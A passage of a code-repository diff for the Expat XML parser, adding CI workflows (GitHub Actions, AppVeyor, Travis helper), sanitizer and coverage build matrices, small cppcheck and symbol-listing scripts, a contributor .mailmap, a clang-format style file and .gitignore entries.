FLAT_ENV: CMAKE_ARGS="-DEXPAT_ATTR_INFO=ON -DEXPAT_BUILD_FUZZERS=ON -DCMAKE_C_FLAGS=-fsanitize=address -DCMAKE_CXX_FLAGS=-fsanitize=address -DCMAKE_EXE_LINKER_FLAGS=-fsanitize=address -DCMAKE_C_COMPILER=clang -DCMAKE_CXX_COMPILER=clang++"
- MODE: qa-sh
FLAT_ENV: CC=clang CXX=clang++ LD=clang++ QA_SANITIZER=address CMAKE_ARGS=-DEXPAT_ATTR_INFO=ON
- MODE: qa-sh
FLAT_ENV: CC=clang CXX=clang++ LD=clang++ QA_SANITIZER=address CMAKE_ARGS=-DEXPAT_CONTEXT_BYTES=OFF
- MODE: qa-sh
FLAT_ENV: CC=clang CXX=clang++ LD=clang++ QA_SANITIZER=address CMAKE_ARGS=-DEXPAT_DTD=OFF
- MODE: qa-sh
FLAT_ENV: CC=clang CXX=clang++ LD=clang++ QA_SANITIZER=address CMAKE_ARGS=-DEXPAT_LARGE_SIZE=ON
- MODE: qa-sh
FLAT_ENV: CC=clang CXX=clang++ LD=clang++ QA_SANITIZER=address CMAKE_ARGS=-DEXPAT_MIN_SIZE=ON
- MODE: qa-sh
FLAT_ENV: CC=clang CXX=clang++ LD=clang++ QA_SANITIZER=address CMAKE_ARGS=-DEXPAT_NS=OFF
- MODE: qa-sh
FLAT_ENV: CC=clang CXX=clang++ LD=clang++ QA_SANITIZER=memory
- MODE: qa-sh
FLAT_ENV: CC=clang CXX=clang++ LD=clang++ QA_SANITIZER=undefined
- MODE: qa-sh
FLAT_ENV: CC=gcc CXX=g++ LD=ld QA_PROCESSOR=gcov
- MODE: qa-sh
FLAT_ENV: CC=gcc CXX=g++ LD=ld QA_PROCESSOR=gcov CMAKE_ARGS=-D_EXPAT_M32=ON
- MODE: qa-sh
FLAT_ENV: CC=gcc CXX=g++ LD=ld QA_PROCESSOR=gcov CMAKE_ARGS="-D_EXPAT_M32=ON -DEXPAT_ATTR_INFO=ON"
- MODE: qa-sh
FLAT_ENV: CC=i686-w64-mingw32-gcc CXX=i686-w64-mingw32-g++ LD=i686-w64-mingw32-ld QA_PROCESSOR=gcov CMAKE_ARGS="-DCMAKE_SYSTEM_NAME=Windows -DWIN32=ON -DMINGW=ON -DEXPAT_ATTR_INFO=ON"
- MODE: qa-sh
FLAT_ENV: CC=i686-w64-mingw32-gcc CXX=i686-w64-mingw32-g++ LD=i686-w64-mingw32-ld QA_PROCESSOR=gcov CMAKE_ARGS="-DCMAKE_SYSTEM_NAME=Windows -DWIN32=ON -DMINGW=ON -DEXPAT_ATTR_INFO=ON -DEXPAT_CHAR_TYPE=wchar_t"
runs-on: ubuntu-20.04
env:
CFLAGS: -g3 -pipe
steps:
- uses: actions/checkout@v3.1.0
- name: Install build dependencies (MinGW)
if: "${{ contains(matrix.FLAT_ENV, 'mingw') }}"
run: |-
set -x -u -o pipefail
source /etc/os-release
# Get rid of packages installed from ppa:ondrej/php so that we will be able to install wine32:i386 without conflicts
# (see issue https://github.com/actions/virtual-environments/issues/4589)
# In detail we:
# 1. Remove all packages that ppa:ondrej/php has but plain Ubuntu doesn't, e.g. everything PHP
# 2. Revert (remaining) packages that ppa:ondrej/php and plain Ubuntu share, back to the plain Ubuntu version
# 3. Assert that no packages from ppa:ondrej/php are left installed
dpkg -l | grep '^ii' | grep -F deb.sury.org | awk '{print $2}' | grep '^php' \
| xargs -r -t sudo apt-get remove --yes libpcre2-posix3 libzip4
dpkg -l | grep '^ii' | grep -F deb.sury.org | awk '{print $2}' | sed "s,\$,/${UBUNTU_CODENAME}," \
| xargs -r -t sudo apt-get install --yes --no-install-recommends --allow-downgrades -V
! dpkg -l | grep '^ii' | grep -F deb.sury.org
# Install 32bit Wine
sudo dpkg --add-architecture i386 # for wine32
sudo apt-get update # due to new architecture
sudo apt-get install --yes --no-install-recommends -V \
mingw-w64 \
wine-stable \
wine32:i386
- name: Install build dependencies (Non-MinGW)
if: "${{ ! contains(matrix.FLAT_ENV, 'mingw') }}"
run: |-
set -x
source /etc/os-release
wget -O - https://apt.llvm.org/llvm-snapshot.gpg.key | sudo apt-key add -
sudo add-apt-repository "deb http://apt.llvm.org/${UBUNTU_CODENAME}/ llvm-toolchain-${UBUNTU_CODENAME}-15 main"
sudo apt-get update # due to new repository
# NOTE: Please note the version-specific ${PATH} extension for Clang in .travis.sh
sudo apt-get install --yes --no-install-recommends -V \
clang-15 \
clang-format-15 \
llvm-15
- name: Install build dependencies (common)
run: |-
sudo apt-get install --yes --no-install-recommends -V \
cmake \
docbook2x \
dos2unix \
gcc-multilib \
g++-multilib \
lcov \
libbsd-dev \
lzip \
moreutils
- name: Perform check "${{ matrix.MODE }}"
env:
MODE: ${{ matrix.MODE }}
TRAVIS_OS_NAME: linux
run: |
env ${{ matrix.FLAT_ENV }} ./.travis.sh
+63
View File
@@ -0,0 +1,63 @@
# __ __ _
# ___\ \/ /_ __ __ _| |_
# / _ \\ /| '_ \ / _` | __|
# | __// \| |_) | (_| | |_
# \___/_/\_\ .__/ \__,_|\__|
# |_| XML parser
#
# Copyright (c) 2020-2022 Sebastian Pipping <sebastian@pipping.org>
# Licensed under the MIT license:
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights to use, copy, modify, merge, publish,
# distribute, sublicense, and/or sell copies of the Software, and to permit
# persons to whom the Software is furnished to do so, subject to the
# following conditions:
#
# The above copyright notice and this permission notice shall be included
# in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
# NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
# DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
# OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
# USE OR OTHER DEALINGS IN THE SOFTWARE.
name: Run macOS Travis CI tasks
on:
pull_request:
push:
schedule:
- cron: '0 2 * * 5' # Every Friday at 2am
jobs:
checks:
name: Perform checks
strategy:
matrix:
include:
# NOTE: This is a quick port from .travis.yml in reaction to
# Homebrew issues at Travis CI. While we have the matrix
# in two places, please keep the two files in sync. Thank you!
- MODE: cmake-oos
- MODE: distcheck
- MODE: qa-sh
FLAT_ENV: CC=clang CXX=clang++ LD=clang++ QA_SANITIZER=address
runs-on: macos-11
steps:
- uses: actions/checkout@v3.1.0
- name: Install build dependencies
run: |
sudo rm /usr/local/bin/2to3 # so that "brew link" will work
brew bundle # acts upon file Brewfile
- name: Perform check "${{ matrix.MODE }}"
env:
MODE: ${{ matrix.MODE }}
TRAVIS_OS_NAME: osx
run: |
env ${{ matrix.FLAT_ENV }} ./.travis.sh
+36
View File
@@ -0,0 +1,36 @@
#! /usr/bin/env bash
# __ __ _
# ___\ \/ /_ __ __ _| |_
# / _ \\ /| '_ \ / _` | __|
# | __// \| |_) | (_| | |_
# \___/_/\_\ .__/ \__,_|\__|
# |_| XML parser
#
# Copyright (c) 2021-2022 Sebastian Pipping <sebastian@pipping.org>
# Licensed under the MIT license:
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights to use, copy, modify, merge, publish,
# distribute, sublicense, and/or sell copies of the Software, and to permit
# persons to whom the Software is furnished to do so, subject to the
# following conditions:
#
# The above copyright notice and this permission notice shall be included
# in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
# NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
# DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
# OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
# USE OR OTHER DEALINGS IN THE SOFTWARE.
set -e -u -o pipefail
if [[ $# -ne 1 ]]; then
echo "usage: $(basename "$0") SO_FILE_PATH" >&2
exit 1
fi
nm -D -p "${1}" | grep -F ' T ' | awk '{print $3}' | sort -f -d
+31
View File
@@ -0,0 +1,31 @@
#! /usr/bin/env bash
# __ __ _
# ___\ \/ /_ __ __ _| |_
# / _ \\ /| '_ \ / _` | __|
# | __// \| |_) | (_| | |_
# \___/_/\_\ .__/ \__,_|\__|
# |_| XML parser
#
# Copyright (c) 2020-2021 Sebastian Pipping <sebastian@pipping.org>
# Licensed under the MIT license:
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights to use, copy, modify, merge, publish,
# distribute, sublicense, and/or sell copies of the Software, and to permit
# persons to whom the Software is furnished to do so, subject to the
# following conditions:
#
# The above copyright notice and this permission notice shall be included
# in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
# NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
# DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
# OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
# USE OR OTHER DEALINGS IN THE SOFTWARE.
grep -Eo '(define|undef) [a-zA-Z0-9_]+' "${1}" | awk '{print $2}' | sort -u
+62
View File
@@ -0,0 +1,62 @@
#! /usr/bin/env bash
# __ __ _
# ___\ \/ /_ __ __ _| |_
# / _ \\ /| '_ \ / _` | __|
# | __// \| |_) | (_| | |_
# \___/_/\_\ .__/ \__,_|\__|
# |_| XML parser
#
# Copyright (c) 2021 Sebastian Pipping <sebastian@pipping.org>
# Licensed under the MIT license:
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights to use, copy, modify, merge, publish,
# distribute, sublicense, and/or sell copies of the Software, and to permit
# persons to whom the Software is furnished to do so, subject to the
# following conditions:
#
# The above copyright notice and this permission notice shall be included
# in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
# NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
# DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
# OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
# USE OR OTHER DEALINGS IN THE SOFTWARE.
PS4='# '
set -e -u -o pipefail -x
if [[ "$(uname -s)" =~ ^Darwin ]]; then
export PATH="/usr/local/opt/findutils/libexec/gnubin${PATH:+:}${PATH}"
fi
cppcheck --version
find --version | head -n1
cppcheck_args=(
--quiet
--error-exitcode=1
--force
--suppress=objectIndex
--suppress=unknownMacro
)
find_args=(
-type f \(
-name \*.cpp
-o -name \*.c
\)
-not \( # Exclude .c files that are merely included by other files
-name xmltok_ns.c
-o -name xmltok_impl.c
\)
-exec cppcheck "${cppcheck_args[@]}" {} +
)
exec find "${find_args[@]}"
+58
View File
@@ -0,0 +1,58 @@
# __ __ _
# ___\ \/ /_ __ __ _| |_
# / _ \\ /| '_ \ / _` | __|
# | __// \| |_) | (_| | |_
# \___/_/\_\ .__/ \__,_|\__|
# |_| XML parser
#
# Copyright (c) 2021-2022 Sebastian Pipping <sebastian@pipping.org>
# Licensed under the MIT license:
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights to use, copy, modify, merge, publish,
# distribute, sublicense, and/or sell copies of the Software, and to permit
# persons to whom the Software is furnished to do so, subject to the
# following conditions:
#
# The above copyright notice and this permission notice shall be included
# in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
# NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
# DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
# OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
# USE OR OTHER DEALINGS IN THE SOFTWARE.
name: Ensure well-formed and valid XML
on:
pull_request:
push:
schedule:
- cron: '0 2 * * 5' # Every Friday at 2am
jobs:
checks:
name: Ensure well-formed and valid XML
runs-on: ubuntu-20.04
steps:
- uses: actions/checkout@v3.1.0
- name: Install build dependencies
run: |-
set -x
sudo apt-get update
sudo apt-get install --yes --no-install-recommends -V \
docbook \
libxml2-utils \
w3c-sgml-lib
- name: Ensure well-formed and valid XML
run: |
set -x
xmllint --noout --valid expat/doc/reference.html
xmllint --noout --valid expat/doc/xmlwf.xml
+10
View File
@@ -1,3 +1,4 @@
/.idea/
# CVS default ignores begin
tags
TAGS
@@ -26,3 +27,12 @@ _$*
*.ln
core
# CVS default ignores end
expat/win32/bin/
expat/win32/tmp/
expat/.vs/
expat/**/*.vcxproj.user
expat/**/*.suo
expat/**/*.sdf
expat/**/*.VC.db
expat/tests/**/Debug/
expat/tests/**/Release/
+19
View File
@@ -0,0 +1,19 @@
# This file is used by "git log"
Ben Wagner <bungeman@chromium.org>
Franek Korta <fkorta@gmail.com>
Hanno Böck <hanno@gentoo.org>
James Clark <jjc@jclark.com> <jclark@users.sourceforge.net>
José Gutiérrez de la Concha <jose@zeroc.com>
Karl Waclawek <karl@waclawek.net> <karl.waclawek@qlinesolutions.com>
Karl Waclawek <karl@waclawek.net> <kwaclaw@users.sourceforge.net>
Kishore Kunche <kishore.kunche@intel.com>
Martin Ettl <ettl.martin78@googlemail.com> <orbitcowboy@web.de>
Rhodri James <rhodri@wildebeest.org.uk> <rhodri@kynesim.co.uk>
Rolf Eike Beer <eike@sf-mail.de> <eb@emlix.com>
Sebastian Pipping <sebastian@pipping.org> <hartwork@users.sourceforge.net>
S. P. Zeidler <spz@netbsd.org>
Stephen Groat <stephen@groat.us> <stephengroat@Stephens-MacBook-Pro.local>
Steven Solie <steven@solie.ca> <ssolie@users.sourceforge.net>
Thomas Beutlich <tc@tbeu.de>
Viktor Szakats <commit@vsz.me> <vszakats@users.noreply.github.com>
Zhongyuan Zhou <zhouzhongyuan@huawei.com>
Executable
+72
View File
@@ -0,0 +1,72 @@
#! /bin/bash
# __ __ _
# ___\ \/ /_ __ __ _| |_
# / _ \\ /| '_ \ / _` | __|
# | __// \| |_) | (_| | |_
# \___/_/\_\ .__/ \__,_|\__|
# |_| XML parser
#
# Copyright (c) 2017-2022 Sebastian Pipping <sebastian@pipping.org>
# Copyright (c) 2017 Rolf Eike Beer <eike@sf-mail.de>
# Copyright (c) 2019 Mohammed Khajapasha <mohammed.khajapasha@intel.com>
# Copyright (c) 2019 Philippe Antoine <contact@catenacyber.fr>
# Licensed under the MIT license:
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights to use, copy, modify, merge, publish,
# distribute, sublicense, and/or sell copies of the Software, and to permit
# persons to whom the Software is furnished to do so, subject to the
# following conditions:
#
# The above copyright notice and this permission notice shall be included
# in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
# NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
# DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
# OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
# USE OR OTHER DEALINGS IN THE SOFTWARE.
set -e
if [[ ${TRAVIS_OS_NAME} = osx ]]; then
latest_brew_python3_bin="$(ls -1d /usr/local/Cellar/python/3.*/bin | sort -n | tail -n1)"
export PATH="${latest_brew_python3_bin}${PATH:+:}${PATH}"
export PATH="/usr/local/opt/coreutils/libexec/gnubin${PATH:+:}${PATH}"
export PATH="/usr/local/opt/findutils/libexec/gnubin${PATH:+:}${PATH}"
elif [[ ${TRAVIS_OS_NAME} = linux ]]; then
export PATH="/usr/lib/llvm-15/bin:${PATH}"
fi
echo "New \${PATH}:"
tr : '\n' <<<"${PATH}" | sed 's,^,- ,'
echo
PS4='# '
set -x
cd expat
./buildconf.sh
if [[ ${MODE} = distcheck ]]; then
./configure ${CONFIGURE_ARGS}
make distcheck
elif [[ ${MODE} = cmake-oos ]]; then
mkdir build
cd build
cmake ${CMAKE_ARGS} ..
make VERBOSE=1 CTEST_OUTPUT_ON_FAILURE=1 all test
make DESTDIR="${PWD}"/ROOT install
find ROOT -printf "%P\n" | sort
elif [[ ${MODE} = clang-format ]]; then
./apply-clang-format.sh
git diff --exit-code
elif [[ ${MODE} = coverage-sh ]]; then
./coverage.sh
else
./qa.sh ${CMAKE_ARGS}
fi
+14
View File
@@ -0,0 +1,14 @@
brew "autoconf"
brew "automake"
brew "cmake"
brew "coreutils"
brew "docbook2x"
brew "dos2unix"
brew "findutils"
brew "gcc"
brew "gettext"
brew "ghostscript"
brew "libtool"
brew "lzip"
brew "m4"
brew "python"
+2 -1
View File
@@ -1,4 +1,5 @@
Copyright (c) 1998, 1999, 2000 Thai Open Source Software Center Ltd
Copyright (c) 1998-2000 Thai Open Source Software Center Ltd and Clark Cooper
Copyright (c) 2001-2022 Expat maintainers
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
Symlink
+1
View File
@@ -0,0 +1 @@
expat/README.md
+146
View File
@@ -0,0 +1,146 @@
# AppVeyor configuration
# __ __ _
# ___\ \/ /_ __ __ _| |_
# / _ \\ /| '_ \ / _` | __|
# | __// \| |_) | (_| | |_
# \___/_/\_\ .__/ \__,_|\__|
# |_| XML parser
#
# Copyright (c) 2017 José Gutiérrez de la Concha <jose@zeroc.com>
# Copyright (c) 2017-2022 Sebastian Pipping <sebastian@pipping.org>
# Copyright (c) 2017 Franek Korta <fkorta@gmail.com>
# Licensed under the MIT license:
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights to use, copy, modify, merge, publish,
# distribute, sublicense, and/or sell copies of the Software, and to permit
# persons to whom the Software is furnished to do so, subject to the
# following conditions:
#
# The above copyright notice and this permission notice shall be included
# in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
# NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
# DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
# OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
# USE OR OTHER DEALINGS IN THE SOFTWARE.
# scripts that are called at very beginning, before repo cloning
init:
- git config --global core.autocrlf input
# version format
version: libexpat-{build}
# set clone depth, clone entire repository history if not defined
clone_depth: 50
# clone directory
clone_folder: c:\projects\libexpat
configuration: Debug
# AppVeyor pre-installed software:
# https://www.appveyor.com/docs/build-environment/#pre-installed-software
#
# CMake Visual Studio generators:
# https://cmake.org/cmake/help/latest/manual/cmake-generators.7.html#visual-studio-generators
environment:
matrix:
# Visual Studio 2017 Win32
- GENERATOR: Visual Studio 15 2017
PLATFORM: Win32
EXPAT_DLL: libexpatd.dll
APPVEYOR_BUILD_WORKER_IMAGE: Visual Studio 2017
# Visual Studio 2017 Win32 XML_UNICODE_WCHAR_T
- GENERATOR: Visual Studio 15 2017
PLATFORM: Win32
CMAKE_ARGS: -DEXPAT_CHAR_TYPE=wchar_t
EXPAT_DLL: libexpatwd.dll
APPVEYOR_BUILD_WORKER_IMAGE: Visual Studio 2017
# Visual Studio 2017 x64
- GENERATOR: Visual Studio 15 2017 Win64
PLATFORM: x64
EXPAT_DLL: libexpatd.dll
APPVEYOR_BUILD_WORKER_IMAGE: Visual Studio 2017
# Visual Studio 2017 x64 XML_UNICODE_WCHAR_T
- GENERATOR: Visual Studio 15 2017 Win64
PLATFORM: x64
CMAKE_ARGS: -DEXPAT_CHAR_TYPE=wchar_t
EXPAT_DLL: libexpatwd.dll
APPVEYOR_BUILD_WORKER_IMAGE: Visual Studio 2017
# Visual Studio 2019 Win32
- GENERATOR: Visual Studio 16 2019
PLATFORM: Win32
CMAKE_ARGS: -A Win32
EXPAT_DLL: libexpatd.dll
APPVEYOR_BUILD_WORKER_IMAGE: Visual Studio 2019
# Visual Studio 2019 Win32 XML_UNICODE_WCHAR_T
- GENERATOR: Visual Studio 16 2019
PLATFORM: Win32
CMAKE_ARGS: -A Win32 -DEXPAT_CHAR_TYPE=wchar_t
EXPAT_DLL: libexpatwd.dll
APPVEYOR_BUILD_WORKER_IMAGE: Visual Studio 2019
# Visual Studio 2019 x64
- GENERATOR: Visual Studio 16 2019
PLATFORM: x64
EXPAT_DLL: libexpatd.dll
APPVEYOR_BUILD_WORKER_IMAGE: Visual Studio 2019
# Visual Studio 2019 x64 XML_UNICODE_WCHAR_T
- GENERATOR: Visual Studio 16 2019
PLATFORM: x64
CMAKE_ARGS: -DEXPAT_CHAR_TYPE=wchar_t
EXPAT_DLL: libexpatwd.dll
APPVEYOR_BUILD_WORKER_IMAGE: Visual Studio 2019
# Visual Studio 2022 Win32
- GENERATOR: Visual Studio 17 2022
PLATFORM: Win32
CMAKE_ARGS: -A Win32
EXPAT_DLL: libexpatd.dll
APPVEYOR_BUILD_WORKER_IMAGE: Visual Studio 2022
# Visual Studio 2022 Win32 XML_UNICODE_WCHAR_T
- GENERATOR: Visual Studio 17 2022
PLATFORM: Win32
CMAKE_ARGS: -A Win32 -DEXPAT_CHAR_TYPE=wchar_t
EXPAT_DLL: libexpatwd.dll
APPVEYOR_BUILD_WORKER_IMAGE: Visual Studio 2022
# Visual Studio 2022 x64
- GENERATOR: Visual Studio 17 2022
PLATFORM: x64
EXPAT_DLL: libexpatd.dll
APPVEYOR_BUILD_WORKER_IMAGE: Visual Studio 2022
# Visual Studio 2022 x64 XML_UNICODE_WCHAR_T
- GENERATOR: Visual Studio 17 2022
PLATFORM: x64
CMAKE_ARGS: -DEXPAT_CHAR_TYPE=wchar_t
EXPAT_DLL: libexpatwd.dll
APPVEYOR_BUILD_WORKER_IMAGE: Visual Studio 2022
before_build:
- echo Running cmake...
- cd c:\projects\libexpat
- cmake -G"%GENERATOR%" -DCMAKE_BUILD_TYPE=%CONFIGURATION% -DEXPAT_WARNINGS_AS_ERRORS=ON %CMAKE_ARGS% expat
build:
parallel: true # enable MSBuild parallel builds
project: expat.sln # path to Visual Studio solution or project
test_script:
- cp %CONFIGURATION%\\%EXPAT_DLL% tests\\%CONFIGURATION%\\
- ctest --build-config %CONFIGURATION% --output-on-failure --parallel 2
+156
View File
@@ -0,0 +1,156 @@
# __ __ _
# ___\ \/ /_ __ __ _| |_
# / _ \\ /| '_ \ / _` | __|
# | __// \| |_) | (_| | |_
# \___/_/\_\ .__/ \__,_|\__|
# |_| XML parser
#
# Copyright (c) 2019 Sebastian Pipping <sebastian@pipping.org>
# Licensed under the MIT license:
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights to use, copy, modify, merge, publish,
# distribute, sublicense, and/or sell copies of the Software, and to permit
# persons to whom the Software is furnished to do so, subject to the
# following conditions:
#
# The above copyright notice and this permission notice shall be included
# in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
# NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
# DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
# OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
# USE OR OTHER DEALINGS IN THE SOFTWARE.
---
Language: Cpp
# BasedOnStyle: LLVM
AccessModifierOffset: -2
AlignAfterOpenBracket: Align
# AlignConsecutiveMacros: false # TODO restore
AlignConsecutiveAssignments: false
AlignConsecutiveDeclarations: false
AlignEscapedNewlines: Right
AlignOperands: true
AlignTrailingComments: true
AllowAllArgumentsOnNextLine: true
AllowAllConstructorInitializersOnNextLine: true
AllowAllParametersOfDeclarationOnNextLine: true
AllowShortBlocksOnASingleLine: false
AllowShortCaseLabelsOnASingleLine: false
AllowShortFunctionsOnASingleLine: InlineOnly
AllowShortLambdasOnASingleLine: All
AllowShortIfStatementsOnASingleLine: Never
AllowShortLoopsOnASingleLine: false
AlwaysBreakAfterDefinitionReturnType: None
AlwaysBreakAfterReturnType: AllDefinitions
AlwaysBreakBeforeMultilineStrings: false
AlwaysBreakTemplateDeclarations: MultiLine
BinPackArguments: true
BinPackParameters: true
BraceWrapping:
AfterCaseLabel: false
AfterClass: false
AfterControlStatement: false
AfterEnum: false
AfterFunction: false
AfterNamespace: false
AfterObjCDeclaration: false
AfterStruct: false
AfterUnion: false
AfterExternBlock: false
BeforeCatch: false
BeforeElse: false
IndentBraces: false
SplitEmptyFunction: true
SplitEmptyRecord: true
SplitEmptyNamespace: true
BreakBeforeBinaryOperators: All
BreakBeforeBraces: Attach
BreakBeforeInheritanceComma: false
BreakInheritanceList: BeforeColon
BreakBeforeTernaryOperators: true
BreakConstructorInitializersBeforeComma: false
BreakConstructorInitializers: BeforeColon
BreakAfterJavaFieldAnnotations: false
BreakStringLiterals: false
ColumnLimit: 80
CommentPragmas: '^ IWYU pragma:'
CompactNamespaces: false
ConstructorInitializerAllOnOneLineOrOnePerLine: false
ConstructorInitializerIndentWidth: 4
ContinuationIndentWidth: 4
Cpp11BracedListStyle: true
DerivePointerAlignment: false
DisableFormat: false
ExperimentalAutoDetectBinPacking: false
FixNamespaceComments: true
ForEachMacros:
- foreach
- Q_FOREACH
- BOOST_FOREACH
IncludeBlocks: Preserve
IncludeCategories:
- Regex: '^"(llvm|llvm-c|clang|clang-c)/'
Priority: 2
- Regex: '^(<|"(gtest|gmock|isl|json)/)'
Priority: 3
- Regex: '.*'
Priority: 1
IncludeIsMainRegex: '(Test)?$'
IndentCaseLabels: false
IndentPPDirectives: AfterHash
IndentWidth: 2
IndentWrappedFunctionNames: false
JavaScriptQuotes: Leave
JavaScriptWrapImports: true
KeepEmptyLinesAtTheStartOfBlocks: false
MacroBlockBegin: ''
MacroBlockEnd: ''
MaxEmptyLinesToKeep: 1
NamespaceIndentation: None
ObjCBinPackProtocolList: Auto
ObjCBlockIndentWidth: 2
ObjCSpaceAfterProperty: false
ObjCSpaceBeforeProtocolList: true
PenaltyBreakAssignment: 2
PenaltyBreakBeforeFirstCallParameter: 19
PenaltyBreakComment: 300
PenaltyBreakFirstLessLess: 120
PenaltyBreakString: 1000
PenaltyBreakTemplateDeclaration: 10
PenaltyExcessCharacter: 1000000
PenaltyReturnTypeOnItsOwnLine: 60
PointerAlignment: Right
ReflowComments: true
SortIncludes: false
SortUsingDeclarations: false
SpaceAfterCStyleCast: false
SpaceAfterLogicalNot: true
SpaceAfterTemplateKeyword: true
SpaceBeforeAssignmentOperators: true
SpaceBeforeCpp11BracedList: false
SpaceBeforeCtorInitializerColon: true
SpaceBeforeInheritanceColon: true
SpaceBeforeParens: ControlStatements
SpaceBeforeRangeBasedForLoopColon: true
SpaceInEmptyParentheses: false
SpacesBeforeTrailingComments: 1
SpacesInAngles: false
SpacesInContainerLiterals: false
SpacesInCStyleCastParentheses: false
SpacesInParentheses: false
SpacesInSquareBrackets: false
Standard: Cpp03
StatementMacros:
- Q_UNUSED
- QT_REQUIRE_VERSION
TabWidth: 8
UseTab: Never
...
Executable → Regular
+39 -6
View File
@@ -1,8 +1,41 @@
bin
dbgbin
Debug
/autom4te.cache/
/cmake-build-debug/
m4/
CMakeFiles/
Testing/
aclocal.m4
CMakeCache.txt
cmake_install.cmake
CTestTestfile.cmake
install_manifest.txt
Makefile
.deps
Makefile.in
.libs
*.la
configure
config.cache
config.log
